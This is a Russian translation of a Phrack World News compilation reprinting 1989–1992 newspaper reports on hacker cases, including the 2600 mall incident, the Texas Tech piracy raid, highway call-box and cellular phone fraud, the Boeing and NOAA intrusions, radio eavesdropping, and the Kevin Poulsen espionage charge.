Затем Джонсон снова заявил Newsbytes, что инцидент был «просто проблемой торгового центра. Слишком много людей собралось в одном месте».

[ПРИМЕЧАНИЕ: Newsbytes подтверждает точность своей передачи слов Джонсона, а также то, что статья Микса достоверно отражает содержание его записи интервью.]

В связанном с этим деле Марк Ротенберг, директор вашингтонского офиса Computer Professionals For Social Responsibility (CPSR), объявил, что CPSR подала запрос в соответствии с Законом о свободе информации (FOIA) в Секретную службу с требованием предоставить информацию о её причастности к инциденту.

Ротенберг сообщил Newsbytes, что у Секретной службы есть 10 дней на ответ. Он также добавил, что CPSR «рассматривает иные правовые возможности в данном деле».

Секретная служба в более ранних беседах с Newsbytes отрицала, что охрана торгового центра действовала по её поручению.

В ходе самого инцидента группа, присутствовавшая на неформальной встрече, была разогнана, а её участники, по их словам, лишились части имущества. Они также утверждают, что охранники изъяли плёнку у фотографировавшего конфискацию, а также список, который кто-то составлял с именами охранников. В своём разговоре с Newsbytes 9 ноября Джонсон отрицал, что охрана изъяла плёнку или списки, и добавил: «Мы ничего не конфисковывали. Группа отказалась признавать, кому принадлежат материалы на столах и в непосредственной близости от них, поэтому мы собрали их как потерянное имущество. Если окажется, что что-то из этого действительно принадлежит кому-то из этих людей, они вправе прийти и забрать вещи, предъявив надлежащее удостоверение личности».

Встречи 2600 организует 2600 Magazine: The Hacker Quarterly и проводятся в вечер первой пятницы каждого месяца в общественных местах и торговых центрах Нью-Йорка, Вашингтона, Филадельфии, Кембриджа, Сент-Луиса, Чикаго, Лос-Анджелеса и Сан-Франциско. В них регулярно принимают участие самые разные люди, интересующиеся телекоммуникациями и так

называемыми «хакерскими темами».

---

## **Секретная служба конфискует компьютеры в студенческом общежитии — 17 декабря 1992 г.**

*by Joe Abernathy (The Houston Chronicle)(cmp. A37)*

Секретная служба провела обыск в комнате общежития Техасского технологического университета, изъяв компьютеры двух студентов из района Хьюстона, которые якобы использовали международную компьютерную сеть для похищения программного обеспечения.

Агенты отказались назвать имена двух местных молодых людей и третьего — бывшего студента Tech из Остина — которые не были арестованы в ходе позднеутреннего рейда в понедельник в университете Лаббока. Их дела будут переданы на рассмотрение большого жюри в январе.

Всем троим, которым немного за двадцать, предъявят обвинения в компьютерных преступлениях, межштатном перемещении похищенного имущества и нарушении авторских прав.

«Университет обнаружил это», — сказал агент Р. Дэвид Фрерикс из далласского офиса Секретной службы, который вёл дело. По его словам, операторы компьютерных систем Texas Tech заметили персональные кредитные данные, смешавшиеся с программным обеспечением, которое загадочным образом заполняло их устройства хранения данных.

Бывший студент признался в пиратстве программ и игр минимум на 6 000 долларов за прошедшее лето, сообщил Фрерикс.

Рейд стал первым делом, подпадающим под значительно более широкое определение уголовного преступления в области пиратства компьютерного программного обеспечения, которое может затронуть многих американцев.

По утверждению агентов, трое использовали компьютерную сеть Интернет, объединяющую до 15 миллионов человек в более чем 40 странах, для поиска лиц, с которыми можно было обменяться пиратскими программами. Программное обеспечение передавалось по сети в компьютеры Texas Tech, а затем в их личные компьютеры.

Software Publishers Association, отраслевая организация, созданная для борьбы с пиратством, утверждает, что в 1991 году отрасль потеряла 1,2 миллиарда долларов из-за пиратов.

Несмотря на то что точность этих цифр широко оспаривается, пиратство широко распространено среди более чем 450 компьютерных BBS-сетей Хьюстона и ещё более — в глобальном Интернете.

«В Интернете существует немало подпольных сайтов, которыми управляют системные администраторы университетов. На них доступны гигабайты пиратского программного обеспечения для скачивания», — сказал Скотт Часин, бывший компьютерный хакер, ныне работающий консультантом по компьютерной безопасности.

Фрерикс сообщил, что расследование ведётся на основании поправки к законодательству об авторском праве, позволяющей предъявлять уголовные обвинения любому, кто обменивается более чем 10 экземплярами программного обеспечения, защищённого авторским правом, — порог, затрагивающий многие миллионы американцев, которые могут обмениваться копиями программ с друзьями.

«Чернила на поправке едва успели высохнуть, а правоохранительные органы уже там — стреляют без разбору, потому что у кого-то нашлась дюжина копий пиратских программ», — сказал Марк Ротенберг, директор Computer Professionals for Social Responsibility в Вашингтоне.

«Это была плохая норма ещё в момент принятия, и именно по этой причине она считалась плохой — она давала правоохранительным органам оправдание для выхода за пределы своих полномочий».

Фрерикс добавил, что рейд стал одним из первых случаев применения расширенного права на конфискацию компьютеров, использованных в преступлениях.

«Наша главная жалоба состояла в том, что поймаешь преступника, получишь по рукам, а орудие преступления всё равно вернут», — сказал он.

«Поэтому они изменили закон, и теперь у нас есть право на конфискацию».

Секретная служба уже подвергается критике за то, что гражданские либертарианцы расценивают как чрезмерно небрежное использование этих полномочий. Многие полагают, что они превратились из следственного инструмента в фактическое наказание без надлежащего судебного контроля.

---

## **Хакер пользовался экстренным телефоном на шоссе — 11 733 раза — 23 октября 1992 г.**

*by Jeffrey A. Perlman (Los Angeles Times)(cmp. A3)*

САНТА-АНА, Калифорния — Предприимчивый хакер вышел на связь с кем-то 11 733 раза в августе — с аварийного телефонного аппарата на обочине скоростной трассы в округе Ориндж.

Компьютер, отслеживающий аварийные телефоны округа, зафиксировал 25 875 минут звонков, приписанных таинственному абоненту, который звонил людям в самые разные страны мира, согласно докладу, подготовленному для Транспортного управления округа Ориндж.

«Это значительно превышает средний показатель — около 10 звонков на один аппарат», — отмечалось в докладе.

Около 1 150 ярко-жёлтых телефонных аппаратов установлены на скоростных трассах округа Ориндж для связи водителей, оказавшихся в затруднении, с Дорожной полицией Калифорнии. Однако все звонки были списаны на единственный аппарат на обочине шоссе Orange (57).

По всей видимости, хакер подобрал индивидуальный электронный серийный номер телефонного аппарата к его телефонному номеру. Чтобы распутать эту историю, потребовалось расследование транспортного управления и трёх компаний сотовой связи, говорится в докладе.

Официальные лица программы аварийных телефонов транспортного управления не были доступны для комментариев относительно стоимости звонков или того, кто их оплатит.

Однако в докладе заверялось, что «приняты меры по устранению этой проблемы. Следует отметить, что это первый подобный инцидент за пятилетнюю историю программы».

---

## **Кольцо мошенников может стоять за аферой с аварийными телефонами на шоссе — 24 октября 1992 г.**

*by Jodi Wilgoren (Los Angeles Times)(cmp. B4)*

«Чиновники полагают, что хакер продавал информацию третьим лицам; LA Cellular оплатит сверхнормативные звонки».

КОСТА-МЕСА, Калифорния — Как только аналитик Дана МакКлур увидел августовский счёт за аварийные телефоны округа Ориндж, он сразу почуял неладное.

Обычно 1 150 жёлтых аппаратов на трассах округа генерируют около 12 000 звонков в месяц. Но в августе почти столько же звонков было зарегистрировано на один аппарат на шоссе Orange, в полумиле к северу от Lambert Road в Бреа.

«Этот аппарат сразу бросился в глаза: "Вот это да!"» — рассказал МакКлур, анализирующий ежемесячные компьютерные распечатки счетов для Транспортного управления округа Ориндж. «Он выскочил как ошибка, потому что количество минут было настолько выше нормы».

С помощью специалистов LA Cellular, предоставляющего телефонные услуги для аппаратов, и GTE Cellular, обслуживающего телефоны, МакКлур и сотрудники ОСТА установили, что звонки — все 11 733, суммарно 25 875 минут на сумму около 1 600 долларов — были совершены, потому что хакер узнал код и номер телефона аварийных аппаратов.

Учитывая количество звонков за один месяц, чиновники предполагают наличие множества виновных — возможно, кольца людей, купивших номера у того, кто взломал систему.

«Чтобы сделать столько звонков, нужно говорить день и ночь 17–18 дней. Это фантастика», — сказал Ли Джонсон из GTE Cellular.

Как и во всех случаях, когда клиенты доказывают, что не совершали звонков, указанных в счёте, LA Cellular возьмёт расходы на себя, сообщила представитель компании Гейл Померанц. Несмотря на потраченное время, счёт составил всего 1 600 долларов, поскольку округ пользуется специальными экстренными тарифами для аварийных телефонов, пояснила представитель ОСТА Элейн Бено.

ОСТА не станет тратить время и деньги на расследование того, кто совершал звонки, однако система была скорректирована для предотвращения дальнейшего мошенничества. Джим Гуд из LA Cellular отметил, что подобные злоупотребления редко встречаются среди абонентов сотовой связи и никогда прежде не были связаны с аварийными телефонами на шоссе.

Аварийные аппараты оснащены солнечными сотовыми телефонами, запрограммированными на прямую связь с Дорожной полицией Калифорнии или линией технического обслуживания GTE Cellular. Среди звонков из августовского счёта оказались номера 800, информационные вызовы по 411 и сотни звонков в финансовые компании Нью-Йорка, Чикаго и Лос-Анджелеса. То, что звонки были сделаны на внешние линии, указывает на то, что злоумышленники устанавливали соединения с другого сотового телефона, а не с самого аппарата.

Каждому сотовому телефону присвоен семизначный мобильный идентификационный номер (MIN), выполняющий функцию телефонного номера, а также 10- или 11-значный электронный серийный номер (ESN), уникальный для каждого конкретного телефона (аналог идентификационного номера транспортного средства). Перепрограммировав другой сотовый телефон с использованием MIN и ESN аварийного аппарата, хакер мог бы списывать любые звонки на счёт ОСТА.

«Это незаконно и непросто», — сказал МакКлур, пояснив, что номера хранятся в тайне, а перепрограммирование сотового телефона может его сломать. «Большинство людей не умеют этого делать, но некоторые умеют».

Все причастные к системе аварийных телефонов уверены, что проблема решена, однако чиновники не раскрывают, каким образом заблокировали возможное мошенничество с сотовыми телефонами.

«Думаю, мы не можем рассказать вам, что сделали для устранения проблемы, потому что не хотим, чтобы это повторилось», — сказала Бено со смехом.

---

## **ФБР расследует возможный взлом компьютеров Boeing — 6 ноября 1992 г.**

*Taken from Reuters*

СИЭТЛ — Федеральные власти заявили в пятницу, что расследуют возможность взлома хакером Unix-системы авиационного гиганта Boeing Co.

Федеральное бюро расследований подтвердило факт расследования после того, как сиэтлская радиостанция сообщила о получении факса с внутренним меморандумом Boeing, предупреждающим сотрудников о возможном нарушении безопасности одной из компьютерных сетей.

Меморандум, отправленный из Boeing, гласил, что пароли могли быть скомпрометированы, сообщил репортёр радиостанции KIRO агентству Reuters.

KIRO отказалась предоставить копию меморандума или раскрыть источник.

В меморандуме говорилось, что проблема затронула компьютеры под управлением Unix — открытой операционной системы, широко применяемой в инженерных работах.

Шерри Небел, пресс-секретарь корпоративного штаба Boeing, отказалась комментировать меморандум или предполагаемое нарушение безопасности и переадресовала все звонки в ФБР.

Представитель ФБР сообщил, что агентство поддерживает контакт с компанией и будет обсуждать с ней возможные нарушения федерального законодательства.

Информация о том, какие именно компьютерные системы могли быть взломаны в Boeing — крупнейшем в мире производителе коммерческих самолётов — сразу получена не была.

Помимо этого, компания является оборонным подрядчиком и занимается работами, связанными с бомбардировщиком-невидимкой B-2, космической станцией NASA и программой «Звёздные войны».

Boeing является крупным пользователем компьютерных технологий и располагает группой компьютерных сервисов стоимостью 1 миллиард долларов.

Значительная часть инженерных работ компании ведётся с применением систем автоматизированного проектирования (САПР). В настоящее время Boeing пионерски применяет компьютерную технику: 2 000 компьютерных терминалов задействованы при проектировании нового двухмоторного самолёта 777.

---

## **ФБР расширяет расследование взлома компьютеров Boeing — 9 ноября 1992 г.**

*by Samuel Perry (Reuters)*

СИЭТЛ — Федеральные власти расширили расследование в отношении хакера или хакеров, подозреваемых во вторжении в компьютерную систему авиационного гиганта и оборонного подрядчика Boeing Co.

Представитель ФБР Дейв Хилл сообщил, что расследование расширено после того, как агентство обнаружило аналогичные проникновения в компьютерные записи Федерального окружного суда Сиэтла и ещё одного правительственного органа.

«Мы пытаемся установить, причастны ли к этому одни и те же лица», — сказал он, добавив, что возможна причастность нескольких подозреваемых, а цель проникновений неясна.



«Мы не считаем, что это было шпионажем», — заявил Хилл, добавив, что федеральные агенты изучают нарушения американского законодательства, запрещающего проникновение в компьютеры, представляющие федеральный интерес, однако, по имеющимся данным, засекреченные правительственные данные не были скомпрометированы.

«Я не уверен, какова их мотивация», — сказал он агентству Reuters.

ФБР подтвердило факт расследования после того, как сиэтлская радиостанция сообщила о получении факса с внутренним меморандумом Boeing, предупреждающим сотрудников о возможном нарушении безопасности одной из компьютерных сетей.

Репортёр радиостанции KIRO, отказавшейся обнародовать факс, сообщил, что документ был отправлен кем-то из Boeing и что в нём говорилось о возможной компрометации многих паролей.

Корпоративный штаб Boeing отказался комментировать произошедшее, переадресовав все звонки в ФБР.

Огромная авиастроительная компания, являющаяся крупнейшим в мире производителем коммерческих авиалайнеров, в значительной мере зависит от компьютерной обработки данных при проектировании и производстве своей продукции. Её подразделение по обработке данных эксплуатирует компьютерное оборудование на 1,6 миллиарда долларов.

Информация о том, какая именно система Boeing была взломана, не разглашалась. Однако один из деятелей компьютерной отрасли предположил, что это могут быть «приложения, связанные с некоторыми конкурентными ситуациями в авиакосмической отрасли».

Компания является оборонным подрядчиком или субподрядчиком по крупным программам вооружений США, включая бомбардировщик-невидимку B-2, перспективный тактический истребитель, вертолёты, космическую станцию NASA и систему противоракетной обороны «Звёздные войны».

В последнее время Boeing пионерски применяет системы автоматизированного проектирования при создании нового двухмоторного самолёта 777. Проектирование 777 в основном завершено, и Boeing готовится к началу окончательной сборки в следующем году.

Эта система, использующая трёхмерную графику для замены чертёжной доски и карандаша, включает 2 000 терминалов, которые могут подключаться к данным со всего мира.

---

## **Взлом сети NOAA — 3 августа 1992 г.**

*by Kevin Power (Government Computer News)(cmp. 10)*

Недавнее проникновение в соединение Национального управления океанических и атмосферных исследований (NOAA) с Интернетом наглядно показало: сеть не только приносит пользу учёным, но и привлекает нежелательное внимание хакеров.

Официальные лица NOAA сообщили, что в мае злоумышленник получил доступ к TCP/IP-сети агентства, стремясь подключиться к Интернету. Проникновение произошло через сервер удалённого доступа штаб-квартиры Национальной метеорологической службы в Силвер-Спринге, штат Мэриленд, рассказал Гарольд Уитт, старший инженер по телекоммуникациям NOAA.

Компания Cygnus Support из Пало-Альто (Калифорния) предупредила NOAA о нарушении безопасности локальной сети, когда обнаружила, что посторонний получил доступ к одному из её серверов через пул модемов NOAA и попытался совершить несколько звонков на большие расстояния.

Сотрудники NOAA и Cygnus пришли к выводу, что злоумышленник искал интернет-хост — возможно, для поиска издателя игр, сказал Уитт. К счастью, хакер не нанёс ущерба файлам данных NOAA.

Уитт отметил, что злоумышленники, использующие пул модемов для подключения к внешним сетям, всегда являются угрозой безопасности. Но организации с доступом к Интернету, судя по всему, особенно привлекательны для хакеров. «Интернет нуждается в серьёзной защите», — сказал Уитт.

«Нужно контролировать использование сети TCP/IP и администрирование локального хоста. Это распространённая проблема, но в нашем случае мы более уязвимы из-за широкого доступа к Интернету», — сказал он.

По словам Уитта, первой реакцией NOAA было временное отключение всех сервисов удалённого доступа и смена всех номеров.

Уитт также рассматривал возможность установки устройства определения номера звонящего для новых линий. Однако возможности телефонных компаний для расследования случайных инцидентов ограничены.

«Очень сложно изолировать проблемы на уровне протокола», — сказал Уитт. «Мы локализовали звонки географически в районе Среднего Запада.

«Но как только вы выходите в Интернет и разбираетесь в TCP/IP, вы можете попасть практически куда угодно», — добавил Уитт.

NOAA, агентство Министерства торговли, с тех пор ввела более жёсткий контроль паролей и установила коммерческую систему безопасности с обратным дозвоном — Defender от Digital Pathways Inc. из Маунтин-Вью, Калифорния.

Уитт пояснил, что новая система требует от пользователей прохождения проверки пароля при наборе и перезванивает пользователей для синхронизации модемов и регистрации звонков. Несмотря на принятые меры, Рид Филлипс, директор по информационным ресурсам и управлению Министерства торговли, отметил, что инцидент с NOAA подтверждает аксиому: сети всегда следует считать незащищёнными.

На недавней ежегодной конференции Федерации советов по обработке государственной информации в Новом Орлеане Филлипс заявил, что правительство с трудом справляется с задачей передачи всё большего объёма информации в электронном виде при сохранении контроля над данными.

По словам Филлипса, ведомства страдают от самодовольства пользователей, отсутствия организационного контроля, вирусов, сбоев в ЛВС и растущего спроса на электронный документооборот. «Меня поражает, что существуют руководители, которые верят в безопасность своих систем электронной почты», — сказал Филлипс. «Мы обеспечиваем высокий уровень безопасности, но он может быть нарушен.

«Безопасность всегда страдает при сокращении бюджета. Но хорошая новость состоит в том, что поставщики понимают наши потребности и выпускают более дешёвые инструменты безопасности», — добавил Филлипс.

Он также сообщил, что нападение на NOAA показывает: агентства должны защищать физические точки сети, поскольку ЛВС представляют больше проблем безопасности, чем централизованные системы.

«Злоумышленник может подключиться через модем, используя стандартные услуги телефонной компании, при этом не подвергая себя никакому физическому риску. Получив доступ к одной системе в сети, злоумышленник может распространить свои права доступа на множество систем в

этой сети», — сказал Филлипс.

«Во многих сетевых средах пользователю достаточно один раз войти в сеть, после чего предполагается, что все последующие обращения авторизованы для всей ЛВС. В таком случае для сетевого или менеджера по безопасности становится практически невозможным отслеживание действий злоумышленника», — добавил он.

---

## **Хакеры перехватывают переговоры по радиоканалам — 17 августа 1992 г.**

*by Mark Lewyn (The Washington Post)(cmp. A1)*

*«Подслушивающие перехватывают частные переговоры».*

В первый день советского переворота против Михаила Горбачёва в августе 1991 года вице-президент Куэйл позвонил сенатору Джону К. Данфорту (республиканец, Миссури) и обсудил напряжённые разворачивающиеся события.

Разговор оказался не таким уж частным.

В тот момент Куэйл находился на борту правительственного самолёта, летевшего из Калифорнии в Вашингтон. Пролетая над Амарилло, штат Техас, его разговор, переданный с борта на телефон Данфорта, был перехвачен подслушивающим лицом, использовавшим электронное сканирующее устройство, которое прочёсывает радиозфир в поисках радиосигналов или передач беспроводной телефонной связи, а затем фиксируется на них.

Государственных секретов в разговоре не было — вице-президент заметил, что Горбачёв практически потерял всякое значение, а Борис Ельцин стал человеком, за которым нужно следить. Тем не менее этот разговор по сей день остаётся ценным трофеем в коллекции одного из постоянно растущего братства любителей электронного подслушивания, которые на протяжении многих лет перехватывали самые разные переговоры — от связи борта номер один до болтовни по автомобильным трубкам.

Один такой любопытный перехватил в марте 1990 года звонок Питера Линча — известного управляющего паевыми фондами из Бостона, — в котором тот обсуждал своё предстоящее увольнение, впоследствии потрясшее финансовые круги. Другой электронный слушатель подслушал, как председатель Popeye's Fried Chicken раскрыл планы по поглощению конкурента — Church's Fried Chicken — в 1988 году.

Были перехвачены звонки президента Буша и ряда членов Кабинета. Записи звонков с автомобильного телефона губернатора Вирджинии Л. Дугласа Уайлдера (демократ), перехваченные владельцем ресторана в Вирджиния-Бич и переданные сенатору Чарльзу С. Роббу (демократ, Вирджиния), стали громким скандалом в политической жизни Вирджинии.

Любой незашифрованный звонок, передаваемый по радиоканалам, а не по проводу, может быть перехвачен, поэтому возможности для этого неуклонно множатся по мере роста числа сотовых телефонов в автомобилях и радиотелефонов в домах и офисах. Около 41 процента американских домохозяйств имеют радиотелефоны, и ожидается, что в этом году их число вырастет почти на 16 миллионов, по данным Ассоциации электронной промышленности Вашингтона.

Насчитывается 7,5 миллиона абонентов сотовой связи — технологии, которая передаёт телефонные звонки по воздуху через город от одной ретрансляционной «соты» к следующей. Около 1 500 коммерческих авиалайнеров оснащены телефонами для воздушной связи — это примерно половина американского авиапарка.

Это новое явление электронного хакинга распространяется настолько стремительно, что оно обзавелось собственными журналами, такими как Monitoring Times. «Большинство из тех, кто этим занимается, делают это без злого умысла», — сказал редактор журнала Роберт Гроув, по его словам, неоднократно опрошенный федеральными агентами, интересовавшимися мониторинговой деятельностью хакеров.

Однако некоторые эксперты опасаются возможных злоупотреблений. Угроза для бизнеса от электронного подслушивания «существенна», — заявил Томас С. Бёрни III, президент Cellular Security Group, консалтинговой группы из Массачусетса.

Борт номер один и другие военные и правительственные самолёты оснащены защищёнными спутниковыми телефонными каналами для конфиденциальных переговоров с землёй. Однако из-за высокой стоимости и иногда нерабочего состояния этих каналов часть звонков проходит по открытым частотам. Конкретные частоты, используемые самолётом президента, общеизвестны и нередко указываются в публикациях о сканерах и на компьютерных BBS.

Например, в 1990 году Буш был случайно подслушан журналистом газеты — он обсуждал наращивание сил накануне войны в Персидском заливе с сенатором Робертом Бёрдом (демократ, Западная Вирджиния). Репортёр из Daily Times города Глостер, штат Массачусетс, немедленно начал делать заметки, и на следующий день процитировал Буша в своей статье под заголовком «Буш удостоил город воздушным визитом».

Был подслушан разговор, в котором руководитель аппарата вице-президента Уильям Кристол назвал помощника «придурком» за попытку связаться с ним дома.

Некоторые подслушивающие, возможно, переступают черту закона — особенно если они записывают разговоры.

Закон об электронной конфиденциальности связи запрещает намеренное прослушивание, запись или распространение содержания большинства электронных, проводных или частных устных переговоров. Звонки по сотовым телефонам прямо защищены этим законом. Местное законодательство также нередко запрещает подобную деятельность. Однако ряд юристов указывает, что по федеральному закону перехват разговоров по радиотелефонам, а также переговоров в открытых радиоканалах является законным.

Правительство редко преследует за такие случаи, поскольку подслушивающих сложно поймать. К тому же, по словам адвокатов, против «слухачей-вуайеристов» сложно добиться обвинительного приговора, поскольку прокуратуры должны доказать умысел.

«Пока они не докажут умысел, им не выиграть», — сказал Фрэнк Тэрранелла, главный юрисконсульт Ассоциации радиоклубов Северной Америки в Клифтоне, штат Нью-Джерси. «Это очень сложное дело для обвинения».

Для ограничения подслушивания Палата представителей приняла законопроект, внесённый конгрессменом Эдвардом Дж. Марки (демократ, Массачусетс), председателем подкомитета Палаты по телекоммуникациям и финансам, который обяжет Федеральную комиссию по связи запретить любые сканеры, способные принимать частоты сотовой связи. Законопроект направлен в Сенат.

Однако в настоящее время насчитывается около 10 миллионов сканеров, а продажи сканеров и сопутствующего оборудования, в том числе антенн, в этом году превысят 100 миллионов долларов.

Заядлые любители сканирования, коллекционирующие телефонные разговоры высокопоставленных государственных чиновников подобно тому, как дети собирают бейсбольные карточки, заполняют подвалы электронной аппаратурой.

В каком-то смысле электронные подслушиватели — это продвинутая версия любителей несчастных случаев, которые с помощью более простого сканирующего оборудования следят за полицейскими и пожарными вызовами, а затем мчатся к месту пожара или аварии. Но они также

родственны компьютерным хакерам, которые трудятся над взломом сложных компьютерных систем и рыщут по чужим файлам и программам.

Один из подслушивателей Новой Англии имеет четыре сканера, каждый из которых подключён к собственному компьютеру с набором запрограммированных частот. Когда на заранее выбранной частоте появляется разговор, компьютер автоматически фиксируется на ней для захвата. Он также держит сканер в машине — для развлечения в дороге.

Он оправдывает своё увлечение кажущейся запутанной логикой: «Я не иду воровать эти сигналы. Они сами приходят ко мне домой — прямо сквозь окна».

---

## **Почему киберпреступники любят сотовую связь — 21 декабря 1989 г.**

*by William G. Flanagan and Brigid McMenamin (Forbes)(сmp. 189)*

Сотовые телефоны открывают перед киберпреступниками золотые возможности для мошенничества с телефонными тарифами — о чём с изумлением обнаруживают многие ошарашенные абоненты. Например, один клиент US West Cellular в Альбукерке недавно получил весомый телефонный счёт.

Итого: 20 000 долларов.

Клиенты не несут ответственности, если их телефонные номера похищены и используются мошенниками. Однако вас могут вынудить сменить номер сотового телефона. Главные пострадавшие — сотовые операторы: по оценкам, они теряют около 300 миллионов долларов в год из-за несанкционированных звонков.

Как мошенники получают номера? Существует два распространённых метода: клонирование и «тумблинг».

Каждый сотовый телефон имеет два номера — мобильный идентификационный номер (MIN) и электронный серийный номер (ESN). При каждом звонке микросхема передаёт оба номера в местной коммутационный узел для проверки и выставления счёта.

Клонирование предполагает изменение микросхемы другого сотового телефона таким образом, чтобы оба номера — MIN и ESN — совпадали с похищенными у законного клиента. Изменение можно произвести с помощью персонального компьютера. Номера MIN и ESN либо приобретаются у инсайдеров, либо перехватываются из эфира с помощью законного устройства размером примерно с учебник, которое можно подключить к прикуривателю автомобиля.

Сотовые компании начинают отслеживать подозрительные схемы звонков. Однако клонирование может быть не обнаружено вплоть до получения клиентом счёта.

Второй метод — «тумблинг» — также предполагает использование персонального компьютера для изменения микросхемы сотового телефона таким образом, чтобы его номера менялись после каждого звонка. Для «тумблинга» не нужно перехватывать сигналы. Он эксплуатирует то обстоятельство, что сотовые компании допускают «роуминг» — возможность совершать звонки вдали от домашнего региона.

Если вы используете сотовый телефон вдали от домашней базы, местному коммутационному узлу может потребоваться слишком много времени для проверки ваших номеров MIN и ESN. Поэтому первый звонок обычно проходит в ходе проверки. Если номера окажутся недействительными, этот узел больше не разрешит звонки с данного телефона.

В 1987 году калифорнийский хакер разобрался, как использовать персональный компьютер для перепрограммирования микросхемы сотового телефона. По данным властей, один из его приятелей начал продавать изменённые микросхемы и телефоны с изменёнными микросхемами. Другие хакеры выяснили, как заставить микросхемы генерировать новые поддельные номера ESN при каждом использовании сотового телефона, тем самым обходя процедуру проверки. К 1991 году телефоны с изменёнными микросхемами, использующие «тумблинг» ESN, применялись по всей территории США.

Сотовые операторы надеются решить проблему «тумблинга» с помощью мгновенной проверки. Однако это не остановит клонирование.

Как мошенники извлекают выгоду? Наркаторговцы покупают (за сумму до 3 200 долларов) или арендуют (около 750 долларов в день) сотовые телефоны с изменёнными микросхемами. То же делают мошенники типа «call-sell» — посредники, предлагающие иммигрантам международные переговоры нередко дешевле, чем телефонные компании. Именно поэтому жертвы получают счета за звонки по всему миру — особенно в Колумбию, Боливию и другие страны, экспортирующие наркотики.

# Мировые новости Phrack

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN  
PWN  
PWN Phrack World News PWN  
PWN  
PWN Issue 41 / Part 2 of 3 PWN  
PWN  
PWN Compiled by Datastream Cowboy PWN  
PWN  
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

**Составитель:** Datastream Cowboy

---

## Правительство наступает на хакера

2 ноября 1992 г.

Дональд Кларк, *San Francisco Chronicle*, стр. C1

### «Гражданские либертарианцы пристально следят за делом Кевина Поулсена»

Министерство юстиции прокладывает новый путь в войне с компьютерными преступлениями: ведомство намерено обвинить самого известного хакера Силиконовой долины в шпионаже.

Кевин Ли Поулсен, 27 лет, в апреле 1991 года был задержан после 17-месячного розыска по обвинениям в мошенничестве в сфере телекоммуникаций и компьютерных технологий. Помощник прокурора США Роберт Кроу подтвердил, что в ближайшее время федеральному большому жюри будет предложено вынести новое обвинительное заключение — на этот раз по статье о намеренном раскрытии секретных сведений лицам, не имеющим на это допуска.

В 1988 году при обыске складского помещения Поулсена в Менло-Парке был обнаружен комплект секретных приказов, касающихся военных учений, а также свидетельства того, что Поулсен мог попытаться подключиться к армейской информационной сети и прослушивать засекреченное расследование, посвящённое бывшему президенту Филиппин Фердинанду Маркосу. Связаны ли новые обвинения именно с этими эпизодами — неизвестно.

Поулсен не передавал секреты иностранной державе, что являлось бы более тяжким преступлением, отметил Кроу. Однако впервые в истории применив статью о шпионаже против американского хакера, обвинители существенно повышают вероятность рекордного срока заключения — призванного отпугнуть других от электронных взломов.

Более суровые меры сдерживания явно не лишние. С помощью персональных компьютеров, подключённых к телефонным линиям, целые кадры так называемых киберпанков превратили вторжение в конфиденциальные базы данных и системы голосовой почты государственных органов и корпораций в своеобразный спорт. Достоверно оценить причинённый ущерб невозможно, однако по данным опроса 1989 года, приведённым Национальным центром по данным о компьютерных преступлениях (Санта-Круз), компьютерные преступления могут обходиться американскому бизнесу в 500 миллионов долларов ежегодно.

Телефонные компании, чьи компьютерные и коммутационные системы издавна являются излюбленной мишенью хакеров, особенно заинтересованы в ужесточении защиты. Поулсен, по имеющимся данным, свободно разгуливал по сетям Pacific Bell — в частности, изменял записи и даже перехватывал переговоры между сотрудниками службы безопасности Pac Bell, которые шли по его следу.

Сан-францисская компания принимает самое непосредственное участие в преследовании Поулсена: именно один из её следователей выследил беглеца в пригородном супермаркете Лос-Анджелеса, что в итоге и привело к его поимке.

«Практически всё, что мы делаем сегодня, делается через компьютер — ваши кредитные карточки, счета за телефон», — говорил в интервью годом ранее Курт фон Браух, офицер службы безопасности Pac Bell, преследовавший Поулсена. — «У него были знания, чтобы зайти туда и изменить их».

## **Широкие правовые последствия**

Дело Поулсена может иметь далеко идущие последствия ввиду ряда спорных правовых вопросов. Некоторые гражданские либертарианцы, например, ставят под сомнение применение Министерством юстиции шпионского закона, предусматривающего максимальное наказание в виде 10 лет лишения свободы и крайне жёсткого обращения согласно федеральным руководящим принципам назначения наказаний. Они сомневаются в том, что закон соответствует действиям Поулсена, которого, судя по всему, двигало скорее любопытство, нежели желание нанести ущерб национальной безопасности.

«Всё, что нам известно об этом парне, — он лазил по системам ради собственного удовольствия», — заявил Майк Годвин, штатный юристконсульт Electronic Frontier Foundation, организации, следящей за делом Поулсена. Попытку применить данную статью против Поулсена он назвал «абсурдной».

Поулсен, ныне находящийся в федеральной тюрьме в Плезантоне, уже провёл под стражей 18 месяцев, так и не будучи судимым, не говоря уже об осуждении. Хотя федеральные нормы призваны обеспечить оперативное судопроизводство, федеральные судьи вправе предоставлять дополнительное время для досудебной подготовки в делах со сложными доказательствами или нетривиальными правовыми вопросами.

Здесь присутствует и то и другое. После того как Поулсен бежал в Лос-Анджелес, чтобы избежать преследования, он применил на одном из компьютеров особую схему шифрования, сделавшую файлы нечитаемыми для посторонних. На расшифровку данных ушли месяцы, и работа ещё не завершена, сообщил Кроу. Этот компьютер был обнаружен лишь потому, что власти перехватили один из телефонных разговоров Поулсена из тюрьмы, сообщили другие источники.

## **Обвинения названы абсурдными**

Поулсен отказался давать интервью. Его адвокат Пол Мельцер считает обвинение в шпионаже нелепым. Кроме того, он предпринимает ряд нестандартных атак на отдельные пункты первоначального обвинительного заключения против Поулсена, поданного в 1989 году.

Мельцер жалуется, в частности, на то, что вся команда защиты вынуждена проходить 15-летние проверки биографических данных для получения допуска к секретности, без которого невозможно ознакомиться с ключевыми документами.

«Правовые вопросы здесь поразительны», — сказал Мельцер. — «Суд будет вынужден творить прецедентное право».

Об интересе Поулсена к проникновению в запретные компьютерные системы властям стало известно в 1983 году. 17-летний житель Северного Голливуда, действовавший тогда под псевдонимом Dark Dante, предположительно объединился с более опытным хакером, чтобы взломать ARPAnet — организованную Пентагоном компьютерную сеть, связывающую исследователей и оборонных подрядчиков по всей стране. Уголовному преследованию он не



подвергся в силу несовершеннолетия.

Невзирая на эти подвиги, впоследствии Поулсен был нанят SRI International — расположенным в Менло-Парке аналитическим центром и правительственным подрядчиком — на должность помощника программиста с допуском к секретным сведениям. SRI отказывается комментировать ситуацию, однако один из источников сообщил, что работа Поулсена была связана с проверкой возможности конфиденциального соединения засекреченных государственных сетей через публичную сеть передачи данных с помощью устройств шифрования.

